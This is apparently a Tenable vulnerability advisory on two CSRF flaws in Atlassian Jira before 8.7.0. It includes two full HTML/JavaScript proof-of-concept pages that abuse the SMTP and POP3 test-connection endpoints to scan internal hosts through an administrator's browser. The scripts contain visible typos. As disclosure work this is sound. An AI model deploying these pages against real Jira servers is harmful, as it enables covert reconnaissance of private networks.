Synopsis
Tenable has discovered a couple of CSRF issues in Atlassian Jira before version 8.7.0
CVE-2019-20098: CSRF via SMTP Server Connection Testing
When configuring an SMTP Server Connection, the “Test Connection” functionality does not properly validate the referrer or atl_token attributes. This allows for a CSRF that could enumerate hosts available to the JIRA server. Our researcher created a host discovery web page as a proof of concept.
<html> <head> <meta name="referrer" content="no-referrer"> </head> <body> <h2>CSRF Host Discovery Scanner via the SMTP Server</h2> <p><button onclick="startScan()">scan</button> <br> <textarea id="textarea" rows=34 cols=50></textarea> <script> function startScan() { document.getElementById("textarea".value=""); scan(220, 250, 25); } function scan(ip1, ip2, port) { var timer = 0; var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (xhttp.readyState == 1) { timer = Date.now(); } else if (xhttp.readyState == 4) { timer = Date.now() - timer; document.getElementById("textarea").value += "\nip: " + scanIp + " \tResponse time: " + timer + "ms"; if (ip1 < ip2) { scan(ip1 + 1, ip2, port); } } else { document.getElementById("textarea").value += "\nip: " + scanIp + "\tReadyState = " + xttp.readyState + "\n"; } } var scanIp = "[ip_address_minus_lower_octet]" + ip1.toString(); data = "name=bob&description=desc&from=bob%40email.com&prefix=prefix&protocol=smtp&serverName=" + scanIp + "&port=" + port.toString() + "&timeout=10000&username=&password=&jndiLocation=&id=10000&type=smtp"; xhttp.open("POST", "http://[ipaddress]:8080/secure/admin/VerifySmtpServerConnection!update.jspa", true); xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhttp.withCredentials = true; xhttp.send(data); } </script> </body> </html>
This code generates a request to the Jira server to verify the SMTP server connection for a range of IP addresses. The script times the delay between the readyState transition from 1 to 4, and posts it on a textArea on the web page. When completed, this page will show a list of hosts and their response times. Hosts that timeout or take too long to respond are considered down, whereas existing hosts will respond relatively quickly. In our testing, we’ve found this tool to be reliable and consistent with other host enumeration tools such as nmap.
CVE-2019-20099: CSRF via POP / IMAP Mail Connection Testing
Similar to the above, a CSRF exists in the Test Connection functionality available when creating POP and IMAP connections. The following script was created to demonstrate this flaw:
<html> <head> <meta name="referrer" content="no-referrer"> </head> <body> <h2>CSRF Host Discovery Scanner via the POP3 Server</h2> <p><button onclick="startScan()">scan</button> <br> <textarea id="textarea" rows=34 cols=50></textarea> <script> function startScan() { document.getElementById("textarea".value=""); scan(220, 250, 110); } function scan(ip1, ip2, port) { var timer = 0; var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (xhttp.readyState == 1) { timer = Date.now(); } else if (xhttp.readyState == 4) { timer = Date.now() - timer; document.getElementById("textarea").value += "\nip: " + scanIp + " \tResponse time: " + timer + "ms"; if (ip1 < ip2) { scan(ip1 + 1, ip2, port); } } else { document.getElementById("textarea").value += "readyState = " + xttp.readyState + "\n"; } } var scanIp = "[ipaddress_without_lower_octet]" + ip1.toString(); data = "name=u&description=u&serviceProvider=custom&protocol=pop3&serverName=" + scanIp + "&port=" + port.toString() + "&timeout=10000&username=admin&changePassword=true&password=test123&type=pop"; xhttp.open("POST", "http://[ipaddress]:8080/secure/admin/VerifyPopServerConnection!add.jspa", true); xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhttp.withCredentials = true; xhttp.send(data); } </script> </body> </html>
Solution
Additional References
Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]